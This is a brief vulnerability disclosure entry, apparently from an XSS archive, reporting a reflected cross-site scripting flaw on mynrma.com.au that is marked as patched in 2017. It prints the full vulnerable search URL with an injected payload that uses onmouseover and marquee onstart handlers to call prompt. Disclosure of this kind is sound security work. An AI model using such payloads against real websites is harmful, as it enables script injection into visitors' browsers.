mynrma.com.au XSS vulnerability

Vulnerable URL: https://www.mynrma.com.au/search-results?query=aaaaa%22+onmouseover%3Dprompt1+autofocus%3Dx+bad%3D%22%3Eaa%22%3E%3C%2Ftitle%3E%3C%2Fscript%3E%3Cmarquee+onstart%3Dprompt2%3Edemonium%3C%2Ftag%3E Details: Description| Value ---|--- Patched:| Yes, at 09.10.2017 Latest check for patch:...